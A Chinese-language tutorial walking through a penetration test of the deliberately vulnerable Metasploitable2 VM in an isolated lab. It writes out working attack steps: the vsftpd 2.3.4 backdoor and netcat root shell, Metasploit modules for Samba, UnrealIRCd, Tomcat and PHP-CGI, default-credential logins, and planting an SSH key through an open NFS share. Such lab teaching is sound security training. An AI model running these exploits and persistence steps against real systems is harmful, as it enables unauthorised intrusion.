从零到一:Metasploitable2靶机实战渗透全流程解析
1. Metasploitable2靶机初探安全测试的绝佳沙盒第一次听说Metasploitable2时我还以为是什么高科技武器系统。后来才发现这其实是安全圈内公认的漏洞博物馆——一个故意设计成漏洞百出的Linux系统专门用来练习渗透测试技术。就像学开车要先在驾校场地练习一样Metasploitable2就是我们网络安全新手的训练场。这个靶机最妙的地方在于它集成了十几种经典漏洞从弱密码到远程代码执行应有尽有。我刚开始接触时看到这么多漏洞既兴奋又紧张就像拿到了一个装满各种锁具的工具箱需要逐个尝试打开。官方提供的默认账号是msfadmin/msfadmin这个弱密码本身就是第一个待攻破的入口。记得我第一次成功登录系统时那种突破防线的成就感至今难忘。不过要提醒的是这个靶机绝对不能连接到公网就像你不会把驾校的教练车开上高速公路一样。建议在VMware或VirtualBox这类虚拟化环境中搭建与Kali攻击机组成独立的实验网络。我通常会给Kali分配192.168.1.100Metasploitable2用192.168.1.101这样既简单又好记。2. 环境搭建与网络配置2.1 虚拟机环境准备在开始渗透之前我们需要搭建一个安全的实验环境。我推荐使用VMware Workstation Player免费版就够用它比VirtualBox的网络配置更稳定。安装好虚拟机软件后先导入Kali Linux镜像再导入Metasploitable2的OVA文件。这里有个小技巧把两台虚拟机的网络适配器都设置为仅主机模式这样就能创建一个与外界完全隔离的测试网络。配置网络时我踩过不少坑。有次忘记关闭DHCP服务导致IP地址冲突扫描结果全乱了。现在我的标准做法是Kali Linux固定IP192.168.184.130Metasploitable2固定IP192.168.184.134子网掩码统一用255.255.255.0验证网络连通性时不要只用ping命令。我习惯先用arp-scan -l扫描整个网段这比nmap更快发现存活主机。如果看到靶机的MAC地址对应着Vulnerable LLC这个厂商这是Metasploitable2的默认设置就说明环境配置正确。2.2 必要工具安装与配置虽然Kali已经预装了大部分工具但我还是建议更新一下Metasploit框架sudo apt update sudo apt upgrade -y metasploit-framework对于渗透测试有几个神器必须准备好Nmap端口扫描的瑞士军刀Metasploit漏洞利用的自动化平台Hydra暴力破解工具Netcat网络调试的万能工具我习惯在开始前先创建一个专用工作目录mkdir ~/metasploitable2_lab cd ~/metasploitable2_lab这样所有的扫描结果和日志都能集中管理后期复盘时特别方便。3. 信息收集与漏洞扫描3.1 主机发现与端口扫描信息收集就像侦探破案前的现场勘查。我通常分三步走第一步用Nmap做快速扫描nmap -T4 -F 192.168.184.134这个命令能在几秒钟内识别开放的常见端口。-T4参数表示加速扫描适合实验环境。第二步全面扫描nmap -p- -sV -O -T4 192.168.184.134这个命令会-p-扫描所有65535个端口-sV探测服务版本-O识别操作系统扫描完成后你会看到Metasploitable2开放了20多个端口从21端口的FTP到6667端口的IRC服务每个都可能藏着漏洞。3.2 漏洞扫描与验证知道开放哪些服务后就该检查具体漏洞了。Nmap自带的漏洞脚本非常有用nmap --scriptvuln 192.168.184.134这个扫描会比较耗时但能发现很多有趣的东西。比如它会提示FTP服务存在vsftpd 2.3.4后门Samba服务有命令注入漏洞Java RMI服务可远程代码执行我习惯把扫描结果保存为XML格式方便后续分析nmap -oX scan_result.xml 192.168.184.1344. 漏洞利用实战演练4.1 弱密码漏洞利用Metasploitable2简直就是弱密码的重灾区。我总结了几种常见的弱密码利用方式1. Telnet登录23端口telnet 192.168.184.134输入用户名msfadmin和密码msfadmin即可获得shell。不过telnet是明文传输现实中基本已经被SSH取代。2. MySQL登录3306端口mysql -h 192.168.184.134 -u root直接回车空密码就能进入MySQL数据库。想象一下如果生产环境的数据库这样配置会多危险。3. VNC远程桌面5900端口vncviewer 192.168.184.134密码是password。登录后能看到完整的图形界面这相当于拿到了整台机器的控制权。4.2 Vsftpd后门漏洞利用21端口这个漏洞特别经典存在于vsftpd 2.3.4版本中。当用户名以:)结尾时会悄悄开启6200端口的后门。手动利用步骤ftp 192.168.184.134 # 用户名输入user:) # 密码随意然后在另一个终端连接6200端口nc -nv 192.168.184.134 6200成功后会获得root权限的shell用Metasploit自动化利用更简单msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.184.134 exploit4.3 Samba命令注入漏洞139端口这个漏洞允许通过Samba服务执行系统命令。在Metasploit中的利用方法use exploit/multi/samba/usermap_script set RHOSTS 192.168.184.134 exploit成功后会获得nobody用户的权限。虽然权限不高但已经是重大突破了。4.4 UnrealIRCd后门漏洞6667端口这个IRC服务存在隐蔽后门可以直接拿到root权限use exploit/unix/irc/unreal_ircd_3281_backdoor set RHOST 192.168.184.134 exploit成功后会看到#号提示符输入id命令可以看到uid0(root)说明已经拿到最高权限。5. 权限提升与后渗透技巧5.1 通过NFS共享获取root权限Metasploitable2配置了不安全的NFS共享我们可以利用它来植入SSH密钥showmount -e 192.168.184.134 mkdir /tmp/nfs mount -o nolock 192.168.184.134:/ /tmp/nfs然后把自己的公钥写入靶机的authorized_keys文件echo ssh-rsa AAAAB3NzaC... /tmp/nfs/root/.ssh/authorized_keys之后就可以无密码SSH登录了ssh root192.168.184.1345.2 通过Tomcat管理台部署WebshellTomcat服务8180端口使用了默认凭证tomcat:tomcat访问http://192.168.184.134:8180/manager/html上传包含webshell的WAR文件访问对应的URL路径即可执行命令在Metasploit中可以用自动化模块use exploit/multi/http/tomcat_mgr_upload set HttpPassword tomcat set HttpUsername tomcat set RHOSTS 192.168.184.134 set RPORT 8180 exploit5.3 通过PHP CGI漏洞执行命令Apache的PHP-CGI存在参数注入漏洞use exploit/multi/http/php_cgi_arg_injection set RHOSTS 192.168.184.134 exploit这个漏洞可以直接获得www-data用户的权限。6. 渗透测试中的注意事项在实际操作中我发现有几个容易出错的地方需要特别注意网络配置问题确保攻击机和靶机在同一网段且能互相ping通。有次我花了两个小时排查漏洞利用失败的原因最后发现是虚拟机网络模式设成了NAT。服务未启动Metasploitable2的某些服务可能需要手动启动。比如Tomcat服务如果发现8180端口没开可以登录靶机执行sudo /etc/init.d/tomcat5.5 start时间不同步某些漏洞利用对时间敏感如果Kali和靶机时间差太大可能导致失败。建议定期同步时间sudo timedatectl set-ntp true日志清理练习结束后记得清理靶机上的日志和上传的文件保持环境干净。特别是通过Web漏洞上传的webshell一定要删除。法律边界反复强调这些技术只能在自己完全控制的实验环境中使用。未经授权的渗透测试是违法行为后果可能非常严重。